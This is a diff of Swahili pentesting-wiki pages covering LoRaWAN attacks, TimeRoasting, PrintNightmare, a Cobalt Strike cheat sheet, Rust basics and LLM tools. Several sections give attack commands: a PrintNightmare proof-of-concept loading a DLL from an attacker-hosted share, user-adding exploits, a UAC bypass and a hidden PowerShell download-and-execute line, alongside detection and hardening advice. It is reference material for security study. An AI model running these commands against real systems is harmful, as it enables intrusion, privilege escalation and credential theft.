* **CVE-2024-29862** – *ChirpStack gateway-bridge & mqtt-forwarder* ilikubali pakiti za TCP ambazo zilipita sheria za firewall za hali kwenye lango za Kerlink, kuruhusu kufichuliwa kwa kiolesura cha usimamizi wa mbali. Imefanyiwa marekebisho katika 4.0.11 / 4.2.1 mtawalia.
|
||||
* **Dragino LG01/LG308 series** – CVEs nyingi za 2022-2024 (mfano 2022-45227 directory traversal, 2022-45228 CSRF) bado zinaonekana hazijarekebishwa mwaka 2025; wezesha dump ya firmware isiyo na uthibitisho au kuandika over config kwenye maelfu ya lango za umma.
|
||||
* Semtech *packet-forwarder UDP* overflow (tahadhari isiyoachiliwa, ilirekebishwa 2023-10): uplink iliyoundwa kubwa zaidi ya 255 B ilizindua stack-smash ‑> RCE kwenye lango za rejea za SX130x (ilionekana na Black Hat EU 2023 “LoRa Exploitation Reloaded”).
|
||||
|
||||
---
|
||||
|
||||
## Mbinu za shambulio za vitendo
|
||||
|
||||
### 1. Sniff & Decrypt traffic
|
||||
```bash
|
||||
# Capture all channels around 868.3 MHz with an SDR (USRP B205)
|
||||
python3 lorattack/sniffer.py \
|
||||
--freq 868.3e6 --bw 125e3 --rate 1e6 --sf 7 --session smartcity
|
||||
|
||||
# Bruteforce AppKey from captured OTAA join-request/accept pairs
|
||||
python3 lorapwn/bruteforce_join.py --pcap smartcity.pcap --wordlist top1m.txt
|
||||
```
|
||||
### 2. OTAA join-replay (DevNonce reuse)
|
||||
|
||||
1. Pata **JoinRequest** halali.
|
||||
2. Mara moja itumie tena (au ongeza RSSI) kabla ya kifaa cha asili kutuma tena.
|
||||
3. Mtandao-server inatoa DevAddr mpya & funguo za kikao wakati kifaa kilicholengwa kinaendelea na kikao cha zamani → mshambuliaji anamiliki kikao kilichokuwa wazi na anaweza kuingiza uplinks za uongo.
|
||||
|
||||
### 3. Adaptive Data-Rate (ADR) downgrading
|
||||
|
||||
Lazimisha SF12/125 kHz kuongeza muda wa hewa → choma duty-cycle ya gateway (denial-of-service) wakati ukihifadhi athari za betri chini kwa mshambuliaji (tuma tu amri za MAC za kiwango cha mtandao).
|
||||
|
||||
### 4. Reactive jamming
|
||||
|
||||
*HackRF One* inayoendesha GNU Radio flowgraph inasababisha chirp ya bendi pana kila wakati preamble inagunduliwa – inazuia sababu zote za kueneza zikiwa ≤200 mW TX; kukosekana kabisa kunapimwa kwa umbali wa 2 km.
|
||||
|
||||
---
|
||||
|
||||
## Offensive tooling (2025)
|
||||
|
||||
| Tool | Purpose | Notes |
|
||||
|------|---------|-------|
|
||||
| **LoRaWAN Auditing Framework (LAF)** | Craft/parse/attack LoRaWAN frames, DB-backed analyzers, brute-forcer | Docker image, supports Semtech UDP input |
|
||||
| **LoRaPWN** | Trend Micro Python utility to brute OTAA, generate downlinks, decrypt payloads | Demo released 2023, SDR-agnostic |
|
||||
| **LoRAttack** | Multi-channel sniffer + replay with USRP; exports PCAP/LoRaTap | Good Wireshark integration |
|
||||
| **gr-lora / gr-lorawan** | GNU Radio OOT blocks for baseband TX/RX | Foundation for custom attacks |
|
||||
|
||||
---
|
||||
|
||||
## Defensive recommendations (pentester checklist)
|
||||
|
||||
1. Prefer **OTAA** devices with truly random DevNonce; monitor duplicates.
|
||||
2. Enforce **LoRaWAN 1.1**: 32-bit frame counters, distinct FNwkSIntKey / SNwkSIntKey.
|
||||
3. Store frame-counter in non-volatile memory (**ABP**) or migrate to OTAA.
|
||||
4. Deploy **secure-element** (ATECC608A/SX1262-TRX-SE) to protect root keys against firmware extraction.
|
||||
5. Disable remote UDP packet-forwarder ports (1700/1701) or restrict with WireGuard/VPN.
|
||||
6. Keep gateways updated; Kerlink/Dragino provide 2024-patched images.
|
||||
7. Implement **traffic anomaly detection** (e.g., LAF analyzer) – flag counter resets, duplicate joins, sudden ADR changes.
|
||||
|
||||
## References
|
||||
|
||||
* LoRaWAN Auditing Framework (LAF) – https://github.com/IOActive/laf
|
||||
* Trend Micro LoRaPWN overview – https://www.hackster.io/news/trend-micro-finds-lorawan-security-lacking-develops-lorapwn-python-utility-bba60c27d57a
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Msingi wa Rust
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Aina za Kijumla
|
||||
|
||||
@ -32,7 +32,7 @@ Unaweza kutumia kazi kama `is_some()` au `is_none()` kuangalia thamani ya Chaguo
|
||||
|
||||
### Macros
|
||||
|
||||
Macros ni zenye nguvu zaidi kuliko kazi kwa sababu zinapanuka kutoa msimbo zaidi kuliko ule ulioandika kwa mikono. Kwa mfano, saini ya kazi lazima itangaze idadi na aina ya vigezo ambavyo kazi ina. Macros, kwa upande mwingine, zinaweza kuchukua idadi tofauti ya vigezo: tunaweza kuita `println!("hello")` na hoja moja au `println!("hello {}", name)` na hoja mbili. Pia, macros zinapanuliwa kabla ya mkusanyiko kufasiri maana ya msimbo, hivyo macro inaweza, kwa mfano, kutekeleza sifa kwenye aina fulani. Kazi haiwezi, kwa sababu inaitwa wakati wa wakati wa kukimbia na sifa inahitaji kutekelezwa wakati wa mkusanyiko.
|
||||
Macros ni zenye nguvu zaidi kuliko kazi kwa sababu zinapanuka kutoa msimbo zaidi kuliko ule ulioandika kwa mikono. Kwa mfano, saini ya kazi lazima itangaze idadi na aina ya vigezo ambavyo kazi hiyo ina. Macros, kwa upande mwingine, zinaweza kuchukua idadi tofauti ya vigezo: tunaweza kuita `println!("hello")` na hoja moja au `println!("hello {}", name)` na hoja mbili. Pia, macros zinapanuliwa kabla ya mkusanyiko kufasiri maana ya msimbo, hivyo macro inaweza, kwa mfano, kutekeleza sifa kwenye aina fulani. Kazi haiwezi, kwa sababu inaitwa wakati wa wakati wa kukimbia na sifa inahitaji kutekelezwa wakati wa mkusanyiko.
|
||||
```rust
|
||||
macro_rules! my_macro {
|
||||
() => {
|
||||
@ -287,4 +287,4 @@ thread::sleep(Duration::from_millis(500));
|
||||
}
|
||||
}
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,12 +1,12 @@
|
||||
# Jaribu LLMs
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Endesha & fundisha mifano kwa ndani
|
||||
|
||||
### [**Hugging Face Transformers**](https://github.com/huggingface/transformers)
|
||||
|
||||
Hugging Face Transformers ni moja ya maktaba maarufu za chanzo wazi kwa kutumia, kufundisha, na kupeleka LLMs kama GPT, BERT, na wengine wengi. Inatoa mfumo kamili unaojumuisha mifano iliyofundishwa awali, seti za data, na uunganisho usio na mshono na Hugging Face Hub kwa ajili ya kuboresha na kupeleka.
|
||||
Hugging Face Transformers ni moja ya maktaba maarufu za chanzo wazi kwa kutumia, kufundisha, na kupeleka LLMs kama GPT, BERT, na wengine wengi. Inatoa mfumo kamili ambao unajumuisha mifano iliyofundishwa awali, seti za data, na uunganisho usio na mshono na Hugging Face Hub kwa ajili ya kuboresha na kupeleka.
|
||||
|
||||
### [**LangChain**](https://github.com/langchain-ai/langchain)
|
||||
|
||||
@ -14,7 +14,7 @@ LangChain ni mfumo ulioandaliwa kwa ajili ya kujenga programu zenye LLMs. Inawaw
|
||||
|
||||
### [**LitGPT**](https://github.com/Lightning-AI/litgpt)
|
||||
|
||||
LitGPT ni mradi ulioandaliwa na Lightning AI unaotumia mfumo wa Lightning kuwezesha mafunzo, kuboresha, na kupeleka mifano inayotegemea GPT. Inajumuisha kwa urahisi na zana nyingine za Lightning AI, ikitoa michakato iliyoboreshwa kwa kushughulikia mifano ya lugha kwa kiwango kikubwa kwa utendaji bora na upanuzi.
|
||||
LitGPT ni mradi ulioandaliwa na Lightning AI ambao unatumia mfumo wa Lightning ili kuwezesha mafunzo, kuboresha, na kupeleka mifano inayotegemea GPT. Inajumuisha kwa urahisi na zana nyingine za Lightning AI, ikitoa michakato iliyoboreshwa kwa kushughulikia mifano ya lugha kwa kiwango kikubwa kwa utendaji bora na upanuzi.
|
||||
|
||||
### [**LitServe**](https://github.com/Lightning-AI/LitServe)
|
||||
|
||||
@ -33,22 +33,22 @@ Axolotl ni jukwaa la msingi wa wingu lililoundwa ili kurahisisha kupeleka, kupan
|
||||
Inatoa sehemu kadhaa kama:
|
||||
|
||||
* **Mifano**: Hifadhi kubwa ya **mifano ya kujifunza mashine iliyofundishwa awali** ambapo watumiaji wanaweza kuvinjari, kupakua, na kuunganisha mifano kwa kazi mbalimbali kama vile uzalishaji wa maandiko, tafsiri, utambuzi wa picha, na zaidi.
|
||||
* **Seti za data:** **Mkusanyiko mpana wa seti za data** zinazotumika kwa mafunzo na kutathmini mifano. Inarahisisha ufikiaji rahisi wa vyanzo mbalimbali vya data, ikiwasaidia watumiaji kupata na kutumia data kwa miradi yao maalum ya kujifunza mashine.
|
||||
* **Seti za Data:** **Kukusanya kwa kina kwa seti za data** zinazotumika kwa mafunzo na kutathmini mifano. Inarahisisha ufikiaji rahisi wa vyanzo mbalimbali vya data, ikiwasaidia watumiaji kupata na kutumia data kwa miradi yao maalum ya kujifunza mashine.
|
||||
* **Nafasi:** Jukwaa la kuhifadhi na kushiriki **programu za kujifunza mashine za mwingiliano** na maonyesho. Inawawezesha waendelezaji **kuonyesha** mifano yao ikifanya kazi, kuunda interfaces rafiki kwa mtumiaji, na kushirikiana na wengine kwa kushiriki maonyesho ya moja kwa moja.
|
||||
|
||||
## [**TensorFlow Hub**](https://www.tensorflow.org/hub) **&** [**Kaggle**](https://www.kaggle.com/)
|
||||
|
||||
**TensorFlow Hub** ni hifadhi kamili ya moduli za kujifunza mashine zinazoweza kutumika tena zilizotengenezwa na Google. Inalenga kuwezesha kushiriki na kupeleka mifano ya kujifunza mashine, hasa zile zilizojengwa na TensorFlow.
|
||||
|
||||
* **Moduli:** Mkubwa wa makusanyo ya mifano iliyofundishwa awali na vipengele vya mfano ambapo watumiaji wanaweza kuvinjari, kupakua, na kuunganisha moduli kwa kazi kama vile uainishaji wa picha, uingizaji wa maandiko, na zaidi.
|
||||
* **Mafunzo:** Mwongozo wa hatua kwa hatua na mifano ambayo inawasaidia watumiaji kuelewa jinsi ya kutekeleza na kuboresha mifano wakitumia TensorFlow Hub.
|
||||
* **Hati:** Miongozo kamili na marejeleo ya API yanayosaidia waendelezaji kutumia rasilimali za hifadhi kwa ufanisi.
|
||||
* **Moduli:** Hifadhi kubwa ya mifano iliyofundishwa awali na vipengele vya mfano ambapo watumiaji wanaweza kuvinjari, kupakua, na kuunganisha moduli kwa kazi kama vile uainishaji wa picha, uhamasishaji wa maandiko, na zaidi.
|
||||
* **Mafunzo:** Mwongozo wa hatua kwa hatua na mifano ambayo inawasaidia watumiaji kuelewa jinsi ya kutekeleza na kuboresha mifano kwa kutumia TensorFlow Hub.
|
||||
* **Hati:** Miongozo kamili na marejeleo ya API ambayo yanawasaidia waendelezaji kutumia rasilimali za hifadhi kwa ufanisi.
|
||||
|
||||
## [**Replicate**](https://replicate.com/home)
|
||||
|
||||
**Replicate** ni jukwaa linalowezesha waendelezaji kuendesha mifano ya kujifunza mashine kwenye wingu kupitia API rahisi. Inalenga kufanya mifano ya ML ipatikane kwa urahisi na kuweza kupelekwa bila haja ya kuweka miundombinu kubwa.
|
||||
**Replicate** ni jukwaa linalowezesha waendelezaji kuendesha mifano ya kujifunza mashine kwenye wingu kupitia API rahisi. Inalenga kufanya mifano ya ML ipatikane kwa urahisi na kuweza kupelekwa bila haja ya mipangilio kubwa ya miundombinu.
|
||||
|
||||
* **Mifano:** Hifadhi ya mifano ya kujifunza mashine iliyochangia na jamii ambayo watumiaji wanaweza kuvinjari, kujaribu, na kuunganisha mifano katika programu zao kwa juhudi ndogo.
|
||||
* **Upatikanaji wa API:** APIs rahisi za kuendesha mifano zinazowezesha waendelezaji kupeleka na kupanua mifano bila va shida ndani ya programu zao wenyewe.
|
||||
* **Upatikanaji wa API:** APIs rahisi za kuendesha mifano zinazowawezesha waendelezaji kupeleka na kupanua mifano bila vae ya juhudi ndani ya programu zao.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# TimeRoasting
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
timeRoasting, sababu kuu ni mfumo wa uthibitishaji wa zamani uliowachwa na Microsoft katika nyongeza yake kwa seva za NTP, inayojulikana kama MS-SNTP. Katika mfumo huu, wateja wanaweza kutumia moja kwa moja Kitambulisho cha Uhusiano (RID) cha akaunti yoyote ya kompyuta, na kidhibiti cha eneo litatumia hash ya NTLM ya akaunti ya kompyuta (iliyoundwa na MD4) kama ufunguo wa kuunda **Nambari ya Uthibitishaji wa Ujumbe (MAC)** ya pakiti ya majibu.
|
||||
|
||||
@ -13,17 +13,17 @@ Katika hati hiyo, sehemu 3.1.5.1 inashughulikia Tabia ya Ombi la Uthibitishaji.
|
||||
Inaweza kuonekana kwamba wakati kipengele cha ExtendedAuthenticatorSupported ADM kimewekwa kuwa `false`, muundo wa asili wa Markdown unahifadhiwa.
|
||||
|
||||
>Quoted in the original article:
|
||||
>>Ikiwa kipengele cha ExtendedAuthenticatorSupported ADM ni false, mteja LAZIMA aunde ujumbe wa Ombi la NTP la Mteja. Urefu wa ujumbe wa Ombi la NTP la Mteja ni bytes 68. Mteja anapanga uwanja wa Authenticator wa ujumbe wa Ombi la NTP la Mteja kama ilivyoelezwa katika sehemu 2.2.1, akiandika bits 31 za chini zaidi za thamani ya RID katika bits 31 za chini zaidi za uwanja wa Kitambulisho cha Ufunguo wa authenticator, na kisha akiandika thamani ya Mchaguzi wa Ufunguzi katika bit ya juu zaidi ya uwanja wa Kitambulisho cha Ufunguzi.
|
||||
>>Ikiwa kipengele cha ExtendedAuthenticatorSupported ADM ni false, mteja LAZIMA aunde ujumbe wa Ombi la NTP la Mteja. Urefu wa ujumbe wa Ombi la NTP la Mteja ni byte 68. Mteja anapanga uwanja wa Authenticator wa ujumbe wa Ombi la NTP la Mteja kama ilivyoelezwa katika sehemu 2.2.1, akiandika bits 31 za chini za thamani ya RID katika bits 31 za chini za uwanja wa Kitambulisho cha Ufunguo wa authenticator, na kisha akiandika thamani ya Mchaguzi wa Ufunguzi katika bit ya juu zaidi ya uwanja wa Kitambulisho cha Ufunguzi.
|
||||
|
||||
Katika sehemu ya hati 4 Mifano ya Itifaki point 3
|
||||
Katika sehemu ya hati 4 Mifano ya Itifaki pointi 3
|
||||
|
||||
>Quoted in the original article:
|
||||
>>3. Baada ya kupokea ombi, seva inathibitisha kwamba ukubwa wa ujumbe ulipokelewa ni bytes 68. Ikiwa si hivyo, seva inatupa ombi (ikiwa ukubwa wa ujumbe haufanani na bytes 48) au inachukulia kama ombi lisilo na uthibitisho (ikiwa ukubwa wa ujumbe ni bytes 48). Ikiwa tunadhania kwamba ukubwa wa ujumbe ulipokelewa ni bytes 68, seva inachukua RID kutoka kwa ujumbe ulipokelewa. Seva inaitumia kuita njia ya NetrLogonComputeServerDigest (kama ilivyoainishwa katika [MS-NRPC] sehemu 3.5.4.8.2) ili kuhesabu crypto-checksums na kuchagua crypto-checksum kulingana na bit ya juu zaidi ya uwanja wa Kitambulisho cha Ufunguzi kutoka kwa ujumbe ulipokelewa, kama ilivyoainishwa katika sehemu 3.2.5. Seva kisha inatuma jibu kwa mteja, ikipanga uwanja wa Kitambulisho cha Ufunguzi kuwa 0 na uwanja wa Crypto-Checksum kuwa crypto-checksum iliyohesabiwa.
|
||||
>>3. Baada ya kupokea ombi, seva inathibitisha kwamba saizi ya ujumbe ulipokelewa ni byte 68. Ikiwa si hivyo, seva inatupa ombi (ikiwa saizi ya ujumbe haiwiani na byte 48) au inachukulia kama ombi lisilo na uthibitisho (ikiwa saizi ya ujumbe ni byte 48). Ikiwa tunadhania kwamba saizi ya ujumbe ulipokelewa ni byte 68, seva inachukua RID kutoka kwa ujumbe ulipokelewa. Seva inaitumia kuita njia ya NetrLogonComputeServerDigest (kama ilivyoainishwa katika [MS-NRPC] sehemu 3.5.4.8.2) ili kuhesabu crypto-checksums na kuchagua crypto-checksum kulingana na bit ya juu zaidi ya uwanja wa Kitambulisho cha Ufunguzi kutoka kwa ujumbe ulipokelewa, kama ilivyoainishwa katika sehemu 3.2.5. Seva kisha inatuma jibu kwa mteja, ikipanga uwanja wa Kitambulisho cha Ufunguzi kuwa 0 na uwanja wa Crypto-Checksum kuwa crypto-checksum iliyohesabiwa.
|
||||
|
||||
Kulingana na maelezo katika hati rasmi ya Microsoft hapo juu, watumiaji hawahitaji uthibitishaji wowote; wanahitaji tu kujaza RID ili kuanzisha ombi, na kisha wanaweza kupata crypto-checksum. Crypto-checksum inaelezewa katika sehemu 3.2.5.1.1 ya hati.
|
||||
|
||||
>Quoted in the original article:
|
||||
>>Seva inapata RID kutoka bits 31 za chini zaidi za uwanja wa Kitambulisho cha Ufunguzi wa uwanja wa Authenticator wa ujumbe wa Ombi la NTP la Mteja. Seva inatumia njia ya NetrLogonComputeServerDigest (kama ilivyoainishwa katika [MS-NRPC] sehemu 3.5.4.8.2) ili kuhesabu crypto-checksums kwa vigezo vifuatavyo:
|
||||
>>Seva inapata RID kutoka bits 31 za chini za uwanja wa Kitambulisho cha Ufunguzi wa ujumbe wa Ombi la NTP la Mteja. Seva inatumia njia ya NetrLogonComputeServerDigest (kama ilivyoainishwa katika [MS-NRPC] sehemu 3.5.4.8.2) ili kuhesabu crypto-checksums kwa vigezo vifuatavyo:
|
||||
>>>
|
||||
|
||||
Crypto-checksum inahesabiwa kwa kutumia MD5, na mchakato maalum unaweza kutazamwa katika maudhui ya hati. Hii inatupa fursa ya kufanya shambulio la roasting.
|
||||
@ -37,4 +37,4 @@ Quote to https://swisskyrepo.github.io/InternalAllTheThings/active-directory/ad-
|
||||
sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
|
||||
hashcat -m 31300 ntp-hashes.txt
|
||||
```
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,98 @@
|
||||
# PrintNightmare
|
||||
# PrintNightmare (Windows Print Spooler RCE/LPE)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Angalia hii blogu nzuri kuhusu PrintNightmare mwaka 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)**
|
||||
> PrintNightmare ni jina la pamoja lililotolewa kwa familia ya udhaifu katika huduma ya Windows **Print Spooler** inayoruhusu **utendaji wa msimbo wa kiholela kama SYSTEM** na, wakati spooler inapatikana kupitia RPC, **utendaji wa msimbo wa mbali (RCE) kwenye waudhibiti wa kikoa na seva za faili**. CVEs zinazotumiwa zaidi ni **CVE-2021-1675** (iliyokuwa na daraja la LPE mwanzoni) na **CVE-2021-34527** (RCE kamili). Masuala mengine kama **CVE-2021-34481 (“Point & Print”)** na **CVE-2022-21999 (“SpoolFool”)** yanaonyesha kwamba uso wa shambulio bado haujafungwa.
|
||||
|
||||
---
|
||||
|
||||
## 1. Vipengele vilivyo hatarini & CVEs
|
||||
|
||||
| Mwaka | CVE | Jina fupi | Primitive | Maelezo |
|
||||
|------|-----|------------|-----------|-------|
|
||||
|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Imerekebishwa mwezi Juni 2021 CU lakini ilipita na CVE-2021-34527|
|
||||
|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx inaruhusu watumiaji walioidhinishwa kupakia DLL ya dereva kutoka sehemu ya mbali|
|
||||
|2021|CVE-2021-34481|“Point & Print”|LPE|Usakinishaji wa dereva usio na saini na watumiaji wasiokuwa wasimamizi|
|
||||
|2022|CVE-2022-21999|“SpoolFool”|LPE|Uundaji wa saraka ya kiholela → kupanda DLL – inafanya kazi baada ya maboresho ya 2021|
|
||||
|
||||
Zote zinatumia moja ya **mbinu za MS-RPRN / MS-PAR RPC** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) au uhusiano wa kuaminiana ndani ya **Point & Print**.
|
||||
|
||||
## 2. Mbinu za unyakuzi
|
||||
|
||||
### 2.1 Kuathiriwa kwa Waudhibiti wa Kikoa wa Mbali (CVE-2021-34527)
|
||||
|
||||
Mtumiaji wa kikoa aliyeidhinishwa lakini **asiye na mamlaka** anaweza kuendesha DLL za kiholela kama **NT AUTHORITY\SYSTEM** kwenye spooler ya mbali (mara nyingi DC) kwa:
|
||||
```powershell
|
||||
# 1. Host malicious driver DLL on a share the victim can reach
|
||||
impacket-smbserver share ./evil_driver/ -smb2support
|
||||
|
||||
# 2. Use a PoC to call RpcAddPrinterDriverEx
|
||||
python3 CVE-2021-1675.py victim_DC.domain.local 'DOMAIN/user:Password!' \
|
||||
-f \
|
||||
'\\attacker_IP\share\evil.dll'
|
||||
```
|
||||
Popular PoCs ni pamoja na **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) na moduli za Benjamin Delpy `misc::printnightmare / lsa::addsid` katika **mimikatz**.
|
||||
|
||||
### 2.2 Kuinua mamlaka ya ndani (Windows yoyote inayoungwa mkono, 2021-2024)
|
||||
|
||||
API hiyo hiyo inaweza kuitwa **katika** ili kupakia dereva kutoka `C:\Windows\System32\spool\drivers\x64\3\` na kupata mamlaka ya SYSTEM:
|
||||
```powershell
|
||||
Import-Module .\Invoke-Nightmare.ps1
|
||||
Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd!
|
||||
```
|
||||
### 2.3 SpoolFool (CVE-2022-21999) – kupita marekebisho ya 2021
|
||||
|
||||
Marekebisho ya Microsoft ya 2021 yalizuia upakiaji wa madereva wa mbali lakini **hayakuimarisha ruhusa za directory**. SpoolFool inatumia parameter ya `SpoolDirectory` kuunda directory isiyo na mipaka chini ya `C:\Windows\System32\spool\drivers\`, inashusha DLL ya payload, na inalazimisha spooler kuipakia:
|
||||
```powershell
|
||||
# Binary version (local exploit)
|
||||
SpoolFool.exe -dll add_user.dll
|
||||
|
||||
# PowerShell wrapper
|
||||
Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll
|
||||
```
|
||||
> Utekelezaji unafanya kazi kwenye Windows 7 → Windows 11 na Server 2012R2 → 2022 zilizopatikana kabla ya sasisho za Februari 2022
|
||||
|
||||
---
|
||||
|
||||
## 3. Ugunduzi & uwindaji
|
||||
|
||||
* **Event Logs** – wezesha *Microsoft-Windows-PrintService/Operational* na *Admin* channels na angalia kwa **Event ID 808** “Spooler ya uchapishaji ilishindwa kupakia moduli ya plug-in” au kwa ujumbe wa **RpcAddPrinterDriverEx**.
|
||||
* **Sysmon** – `Event ID 7` (Picha imepakiwa) au `11/23` (Kuandika/kufuta faili) ndani ya `C:\Windows\System32\spool\drivers\*` wakati mchakato mzazi ni **spoolsv.exe**.
|
||||
* **Mfuatano wa mchakato** – arifu kila wakati **spoolsv.exe** inapozalisha `cmd.exe`, `rundll32.exe`, PowerShell au binary isiyo na saini.
|
||||
|
||||
## 4. Kupunguza & kuimarisha
|
||||
|
||||
1. **Sasisha!** – Tekeleza sasisho la hivi karibuni la jumla kwenye kila mwenyeji wa Windows ambaye ana huduma ya Print Spooler iliyosakinishwa.
|
||||
2. **Zima spooler mahali ambapo haitahitajika**, hasa kwenye Watawala wa Kikoa:
|
||||
```powershell
|
||||
Stop-Service Spooler -Force
|
||||
Set-Service Spooler -StartupType Disabled
|
||||
```
|
||||
3. **Zuia muunganisho wa mbali** wakati bado unaruhusu uchapishaji wa ndani – Sera ya Kundi: `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`.
|
||||
4. **Punguza Point & Print** ili tu wasimamizi waweze kuongeza madereva kwa kuweka thamani ya rejista:
|
||||
```cmd
|
||||
reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \
|
||||
/v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f
|
||||
```
|
||||
Mwongozo wa kina katika Microsoft KB5005652
|
||||
|
||||
---
|
||||
|
||||
## 5. Utafiti / zana zinazohusiana
|
||||
|
||||
* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules
|
||||
* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell)
|
||||
* SpoolFool exploit & andiko
|
||||
* 0patch micropatches kwa SpoolFool na makosa mengine ya spooler
|
||||
|
||||
---
|
||||
|
||||
**Kusoma zaidi (nje):** Angalia chapisho la blogu la mwongozo wa 2024 – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)
|
||||
|
||||
## Marejeo
|
||||
|
||||
* Microsoft – *KB5005652: Manage new Point & Print default driver installation behavior*
|
||||
<https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872>
|
||||
* Oliver Lyak – *SpoolFool: CVE-2022-21999*
|
||||
<https://github.com/ly4k/SpoolFool>
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# Cobalt Strike
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Listeners
|
||||
|
||||
@ -14,8 +14,8 @@ Beacons za wasikilizaji hawa hazihitaji kuzungumza na C2 moja kwa moja, wanaweza
|
||||
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` kisha unahitaji kuchagua TCP au SMB beacons
|
||||
|
||||
* **Beacon ya TCP itaanzisha msikilizaji katika bandari iliyochaguliwa**. Kuungana na beacon ya TCP tumia amri `connect <ip> <port>` kutoka beacon nyingine
|
||||
* **Beacon ya smb itasikiliza katika pipename yenye jina lililochaguliwa**. Kuungana na beacon ya SMB unahitaji kutumia amri `link [target] [pipe]`.
|
||||
* **Beacon ya **TCP itaanzisha msikilizaji katika bandari iliyochaguliwa**. Kuungana na beacon ya TCP tumia amri `connect <ip> <port>` kutoka beacon nyingine
|
||||
* **Beacon ya **smb itasikiliza katika pipename yenye jina lililochaguliwa**. Kuungana na beacon ya SMB unahitaji kutumia amri `link [target] [pipe]`.
|
||||
|
||||
### Generate & Host payloads
|
||||
|
||||
@ -61,17 +61,16 @@ portscan [targets] [ports] [arp|icmp|none] [max connections]
|
||||
powershell-import C:\path\to\PowerView.ps1
|
||||
powershell-import /root/Tools/PowerSploit/Privesc/PowerUp.ps1
|
||||
powershell <andika amri ya powershell hapa> # Hii inatumia toleo la juu zaidi linaloungwa mkono la powershell (sio oppsec)
|
||||
powerpick <cmdlet> <args> # Hii inaunda mchakato wa dhabihu ulioainishwa na spawnto, na kuingiza UnmanagedPowerShell ndani yake kwa ajili ya opsec bora (sio logging)
|
||||
powerpick <cmdlet> <args> # Hii inaunda mchakato wa dhabihu ulioainishwa na spawnto, na kuingiza UnmanagedPowerShell ndani yake kwa usalama bora (sio logging)
|
||||
powerpick Invoke-PrivescAudit | fl
|
||||
psinject <pid> <arch> <commandlet> <arguments> # Hii inachoma UnmanagedPowerShell ndani ya mchakato ulioainishwa ili kuendesha cmdlet ya PowerShell.
|
||||
|
||||
|
||||
# User impersonation
|
||||
## Token generation with creds
|
||||
make_token [DOMAIN\user] [password] #Unda token ili kuiga mtumiaji katika mtandao
|
||||
ls \\computer_name\c$ # Jaribu kutumia token iliyoundwa kufikia C$ katika kompyuta
|
||||
rev2self # Acha kutumia token iliyoundwa na make_token
|
||||
## Matumizi ya make_token yanazalisha tukio 4624: Akaunti ilifanikiwa kuingia. Tukio hili ni la kawaida sana katika eneo la Windows, lakini linaweza kupunguzika kwa kuchuja kwa Aina ya Kuingia. Kama ilivyotajwa hapo juu, inatumia LOGON32_LOGON_NEW_CREDENTIALS ambayo ni aina ya 9.
|
||||
## Matumizi ya make_token yanazalisha tukio 4624: Akaunti imeingia kwa mafanikio. Tukio hili ni la kawaida sana katika eneo la Windows, lakini linaweza kupunguzia kwa kuchuja kwa Aina ya Kuingia. Kama ilivyotajwa hapo juu, inatumia LOGON32_LOGON_NEW_CREDENTIALS ambayo ni aina ya 9.
|
||||
|
||||
# UAC Bypass
|
||||
elevate svc-exe <listener>
|
||||
@ -81,17 +80,17 @@ runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.w
|
||||
## Steal token from pid
|
||||
## Kama make_token lakini kuiba token kutoka kwa mchakato
|
||||
steal_token [pid] # Pia, hii ni muhimu kwa hatua za mtandao, sio hatua za ndani
|
||||
## Kutoka kwa hati ya API tunajua kwamba aina hii ya kuingia "inaruhusu mwito kuiga token yake ya sasa". Hii ndiyo sababu matokeo ya Beacon yanasema Imersonated <current_username> - inaimarisha token yetu iliyokopwa.
|
||||
## Kutoka kwa hati ya API tunajua kwamba aina hii ya kuingia "inaruhusu mwito kuiga token yake ya sasa". Hii ndiyo sababu matokeo ya Beacon yanasema Imepitishwa <current_username> - inaimarisha token yetu iliyokopwa.
|
||||
ls \\computer_name\c$ # Jaribu kutumia token iliyoundwa kufikia C$ katika kompyuta
|
||||
rev2self # Acha kutumia token kutoka steal_token
|
||||
|
||||
## Launch process with nwe credentials
|
||||
spawnas [domain\username] [password] [listener] #Fanya hivyo kutoka kwenye saraka yenye ruhusa ya kusoma kama: cd C:\
|
||||
